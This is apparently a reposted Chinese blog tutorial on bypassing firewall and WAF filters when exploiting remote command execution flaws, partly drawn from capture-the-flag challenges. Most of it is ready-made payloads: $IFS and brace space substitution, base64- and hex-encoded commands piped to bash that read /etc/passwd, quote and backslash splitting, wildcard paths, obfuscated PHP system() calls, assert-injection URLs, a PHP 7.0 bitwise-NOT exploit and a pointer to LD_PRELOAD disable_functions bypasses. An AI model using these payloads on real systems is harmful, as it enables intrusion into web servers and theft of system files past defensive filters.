本文原作者:小仙人,Bypass篇 原文链接
前言
关于RCE的Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些敏感字符了,我们就要想办法找一些可以代替这些敏感字符且又能表达其字符的意思的东西对吧?所以我们进入主题!
常见绕过方法
空格绕过:在bash下可以用$IFS、${IFS}、$IFS$9、%09(在URL上使用较多)、<、>、<>、{,}、%20(space)、%09(tab)
(备注:此处有$IFS$9,而这里为什么用$9呢,是因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$IFS在Linux下表示分隔符。)
分号绕过:在bash下可以用%0a
(声明其中的一个做法{cat,1.txt},这里尖括号的用法是括起来再用逗号,要注意。)
敏感字符绕过:例如cat、chmod
1) 利用变量绕过 [root@iz2zebsl4jvqeiddcl4y2cz ~]# a=c;b=a;c=t; [root@iz2zebsl4jvqeiddcl4y2cz ~]# $a$b$c 1.txt 2) 利用base编码绕过 [root@iz2zebsl4jvqeiddcl4y2cz ~]# echo 'cat' | base64 Y2F0wqAK [root@iz2zebsl4jvqeiddcl4y2cz ~]# `echo 'Y2F0wqAK' | base64 -d` 1.txt hello world [root@iz2zebsl4jvqeiddcl4y2cz ~]# echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash// cat /etc/passwd 查看所有用户信息 3) 利用hex编码(十六进制)绕过 [root@iz2zebsl4jvqeiddcl4y2cz ~]# echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex编码后的0x不需要输入。 4) 利用oct编码(八进制)绕过 [root@iz2zebsl4jvqeiddcl4y2cz ~]# $(printf "\154\163")//ls命令(这个154和163的值,本人暂时不知道是如何转换的) 5) 利用拼接绕过 [root@iz2zebsl4jvqeiddcl4y2cz ~]# c''a''t 1.txt//单引 [root@iz2zebsl4jvqeiddcl4y2cz ~]# c""a""t 1.txt//双引 [root@iz2zebsl4jvqeiddcl4y2cz ~]# c``a``t 1.txt//反单引 [root@iz2zebsl4jvqeiddcl4y2cz ~]# c\a\t 1.txt//反斜线 6) 利用未初始化变量 [root@iz2zebsl4jvqeiddcl4y2cz ~]# cat$u 1.txt
过滤文件名绕过(例如过滤/etc/passwd文件)
1) 利用正则匹配绕过 [root@iz2zebsl4jvqeiddcl4y2cz ~]# cat /???/pass* 2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过 [root@iz2zebsl4jvqeiddcl4y2cz ~]# cat /etc$u/passwd 命令执行函数system()绕过(在URL请求中过滤system()函数)
1) "\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
1) (sy.(st).em)(whoami);
1) ?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET.$_GET[c]); 1) 插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用) php -r "system/*caixukun*/(whoami);" php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);" php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"
骚姿势绕过总结
1) 在Linux bash下可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
2) 当过滤了大小写字母、数字、$符号的时候,可以利用通配符绕过 https://www.freebuf.com/articles/web/186298.html -- 前辈这篇文章写得很好,姿势可以参考。
https://www.freebuf.com/articles/web/160175.html
3) 当遇到addslashes()过滤了单引、双引、反斜杠、NULL这些预定义字符,利用PHP复杂变量绕过。 http://www.test.com/test.php?str=${${assert($_GET[x])}}&x=phpinfo() http://www.test.com/test.php?str=${${assert($_POST[guixianren])}}
4) 当正则匹配if(preg("/[A-Za-z0-9_`'"^?<>${}]+/",$code))过滤特殊符号而且大小写字母和数字都过滤的时候,又怎么进行绕过呢?这是前辈给的EXP: ?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));
利用的前提条件是PHP版本刚好为7.0,只能刚好是7.0版本,大于小于这个EXP都会失效。这是一道CTF的题目,这是出自evoa师傅的思路,这里分享给大家。 https://www.evoa.me/index.php/archives/62/
5) 当只过滤大小写字母和数字的时候且又限制了长度,该怎么绕过。同样是CTF的题。 真可谓收益匪浅,学习就是先走一遍别人的老路,到达一定知识量的时候,自己走自己的路。
1) Bypass disable function(绕过禁用函数),情景是当遇到很全面的禁用函数列表时,我们又应当怎么绕过。原理是通过LD_PRELOAD绕过disable_functions这里推荐一个各种方式突破Disable_functions达到命令执行的Shell。工具可以到"安全武器库"上拿。
参考资料
关于OWASP ModSecurity核心规则集(CRS)项目: https://github.com/SpiderLabs/owasp-modsecurity-crs/ RCE Bypass远程命令执行绕过技巧: http://www.leommxj.com/2017/06/11/RCE-Bypass/ 关于Apache Tomcat多版本远程代码执行漏洞CVE-2016-8735 https://www.anquanke.com/post/id/85043
|